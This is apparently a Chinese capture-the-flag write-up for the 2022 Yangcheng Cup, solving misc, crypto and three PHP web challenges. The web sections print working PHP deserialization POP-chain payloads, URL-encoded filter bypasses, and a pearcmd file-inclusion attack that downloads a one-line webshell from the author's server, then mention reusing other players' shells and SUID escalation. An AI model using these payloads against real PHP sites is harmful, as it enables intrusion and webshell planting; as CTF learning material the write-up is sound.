羊城杯2022

misc

签个到

羊城杯2022_第1张图片

ciphey一把梭,caser13加base32

where_is_secret

羊城杯2022_第2张图片

首先打开压缩包,有个文档和另外一个压缩包,大致看一眼猜测是词频分析,然后拿到quip和维吉尼亚的网站都跑一边,最后通过维吉尼亚拿到密码

羊城杯2022_第3张图片

GWHT@R1nd0yyds

羊城杯2022_第4张图片

羊城杯2022_第5张图片

打开里面发现是个bmp文件,里面全是像素点,比赛公告给出了这个图片的生成脚本如下

from PIL import Image
import math


def encode(text):
    str_len = len(text)
    width = math.ceil(str_len ** 0.5)
    im = Image.new("RGB", (width, width), 0x0)
    print(width)

    x, y = 0, 0
    for i in text:
        index = ord(i)
        rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)
        im.putpixel((x, y), rgb)
        if x == width - 1:
            x = 0
            y += 1
        else:
            x += 1
    return im


if __name__ == '__main__':
    with open("829962.txt", encoding="gbk") as f:
        all_text = f.read()

        im = encode(all_text)
        im.save("out.bmp")

直接写出解密脚本

# -*- coding: utf-8 -*-
# @Time : 2022/9/3 22:48
# @Author : pysnow
from PIL import Image

im = Image.open('out.bmp')


def decode(enc):
    a, b = enc[1], enc[2]
    text = int((a << 8) & 0xFF00) + (b & 0xFF)
    return chr(text).encode('gbk')


f = open('1.txt', 'ab')
width, height = im.size
for j in range(0, width):
    for i in range(0, height):
        tmp = im.getpixel((i, j))
        index = decode(tmp)
        f.write(index)
        print(index, end='')
        # print(i, j)

    # print('')
f.close()

羊城杯2022_第6张图片

得到一篇非常长的文章,然后标题里面有个单独的f,进行查找单个的字母发现刚好可以构成flag关键词,然后就是经过我的人工肉眼观察,最终提取出了flag如下

羊城杯2022_第7张图片

flag{h1d3_1n_th3_p1ctur3}

web

Safepop


error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}

class Test{
    public function getFlag(){
        system("cat /flag?");
    }
    public function __call($f,$p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A{
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B{
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}
if(isset($_GET['pop'])){
    $pop = $_GET['pop'];
    $o = unserialize($pop);
    throw new Exception("no pop");
}

非常简单的反序列化,这里有两个点需要绕过

  • 不能直接通过A类对象跳转到Test类的任意方法
  • Fun类有死亡wakeup,导致不能执行__call方法里面的回调函数
  • 反序列化后面又throw抛出,导致无法进入B类的destruct方法

其中第一个问题可以通过Fun类对象的call_user_func回调函数进行静态调用任意A类的任意方法

第二个问题可以通过破坏序列化数据结构,让无法正常反序列化,从而先执行__call方法

第三个问题可以利用第二问题的解法

参考资料:https://blog.csdn.net/jvkyvly/article/details/120479559

最后给出payload如下


class Fun{
    private $func = 'call_user_func_array';
    
}

class Test{
}

class A{
    public $a;
}

class B{
    public $p;
}
// --------------------------------------------------------------------------
$fun1 = new Fun();

$a1 = new A();

$b1 = new B();

$test = new Test();

// --------------------------------------------------------------------------


$a1->a = $fun1;
$b1->a = $a1;
$b1->p = "Test::getFlag";    

$final = urlencode(serialize($b1));
echo $final;

image-20220903202113625

http://80.endpoint-e4ff305483b8474b9bf968f8b0008452.dasc.buuoj.cn:81/?pop=O%3A1%3A%22B%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A13%3A%22Test%3A%3AgetFlag%22%3Bs%3A1%3A%22a%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3BO%3A3%3A%22Fun%22%3A1%3A%7Bs%3A9%3A%22%00Fun%00func%22%3Bs%3A20%3A%22call_user_func_array%22%3B%7D%7D

rce_me

题目:


(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
     $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
         foreach($blacklist as $blackword){
           if(stristr($var, $blackword)) return False;
    }
    return True;
}  
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}

这里过滤了很多符号,但是由于是使用的$_SERVER["QUERY_STRING"]来检测,所以就可以直接用url编码绕过

  • 开始尝试读文件,发现flag权限不足,那就必须要RCE然后提权了
  • 尝试data伪协议,发现配置项没打开,不能使用data伪协议进行RCE
  • 根据waf提示,使用pearcmd进行上传shell
  • 最终使用pear download vps上传shell

羊城杯2022_第8张图片

羊城杯2022_第9张图片

使用python起了一个文件下载的服务,构造一个文件地址如下

http://vps:8000/pysnow%26file%3D/usr/local/lib/php/pearcmd.php

其中pearcmd的内容为一句话木马

然后构造payload如下

?file+download+http://vps:8000/pysnow&file=/usr/local/lib/php/pearcmd.php
// 过滤了pear关键词,索性直接把file=后面全部url编码
?file+download+http://vps:8000/pysnow&file=%2f%75%73%72%2f%6c%6f%63%61%6c%2f%6c%69%62%2f%70%68%70%2f%70%65%61%72%63%6d%64%2e%70%68%70

image-20220903210826869

文件下载成功,提示文件目录位置在/var/www/html/pysnow&file=%2f%75%73%72%2f%6c%6f%63%61%6c%2f%6c%69%62%2f%70%68%70%2f%70%65%61%72%63%6d%64%2e%70%68%70

因为这里下载的文件名就是编码后的文件名,所以这里要再次urlencode编码一下,不然浏览器会解析这个文件名中的url编码部分

?file=%70%79%73%6e%6f%77%26%66%69%6c%65%3d%25%32%66%25%37%35%25%37%33%25%37%32%25%32%66%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%32%66%25%36%63%25%36%39%25%36%32%25%32%66%25%37%30%25%36%38%25%37%30%25%32%66%25%37%30%25%36%35%25%36%31%25%37%32%25%36%33%25%36%64%25%36%34%25%32%65%25%37%30%25%36%38%25%37%30

羊城杯2022_第10张图片

羊城杯2022_第11张图片

蚁剑连接后这里可以看到有很多其他师傅们的战绩啊,这也是这道题的非预期解,直接扫描目录,然后骑别人的马

羊城杯2022_第12张图片

最后使用date进行suid提权

step_by_step-v3

题目:


error_reporting(0);
class yang
{
    public $y1;

    public function __construct()
    {
        $this->y1->magic();
    }

    public function __tostring()
    {
        ($this->y1)();
    }

    public function hint()
    {
        include_once('hint.php');
        if(isset($_GET['file']))
        {
            $file = $_GET['file'];
            if(preg_match("/$hey_mean_then/is", $file))
            {
                die("nonono");
            }
            include_once($file);
        }
    }
}

class cheng
{
    public $c1;

    public function __wakeup()
    {
        $this->c1->flag = 'flag';
    }

    public function __invoke()
    {
        $this->c1->hint();
    }
}

class bei
{
    public $b1;
    public $b2;

    public function __set($k1,$k2)
    {
        print $this->b1;
    }

    public function __call($n1,$n2)
    {
        echo $this->b1;
    }
}

if (isset($_POST['ans'])) {
    unserialize($_POST['ans']);
} else {
    highlight_file(__FILE__);
}
?>

这道题很有迷惑题,当拿到这道题的时候,我就被这个hint方法给吸引住了,然后花了一分钟就把链子给写了出来,但是发现这个hey_mean_then绕过太狠了,简单的fuzz了一下,大概这种

/var|www|html|flag|host|data|decode|string|rot13|<|>|http|phar|"|'|[0-9]|/is

根本无从下手,想不出咋绕过,也不能读hint文件内容,因为var关键词被过滤了

然后当我再一次来看这道题的时候,我重新看了一下这个反序列化链子,发现有一个任意方法调用的地方

羊城杯2022_第13张图片

之前我是直接让$this->y1的值为cheng类对象,进而拿到hint方法,脑瘫了,直接让他的值为hint不就行了。而且这里很显然是应该赋值给phpinfo

羊城杯2022_第14张图片

结果发现flag就在环境变量李,giao

payload:


class yang
{
    public $y1;
}

class cheng
{
    public $c1;

}

class bei
{
    public $b1;	
    public $b2;

}

$y = new yang();
$y1 = new yang();

$ch = new cheng();
$ch2 = new cheng();

$bei = new bei();


// $ch2 -> c1 = $y1;
$y->y1 = "phpinfo";
$bei->b1 = $y;
$ch->c1 = $bei;


$final = serialize($ch);
echo $final;

Crypto

EasyRsa

import gmpy2
from Crypto.Util.number import *

e = 65537
c = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
f = open("output.txt", "r")
a = f.readlines()
n = []
for i in a:
    n.append(int(i))
for i in range(len(n)):
    j = len(n) - i - 1
    p = gmpy2.gcd(n[j], n[j - 1])
    q = n[j] // p
    ph = (p - 1) * (q - 1)
    d = gmpy2.invert(e, ph)
    c = gmpy2.powmod(c, d, n[j])
print(long_to_bytes(c))

你可能感兴趣的:(WP,python,javascript,开发语言)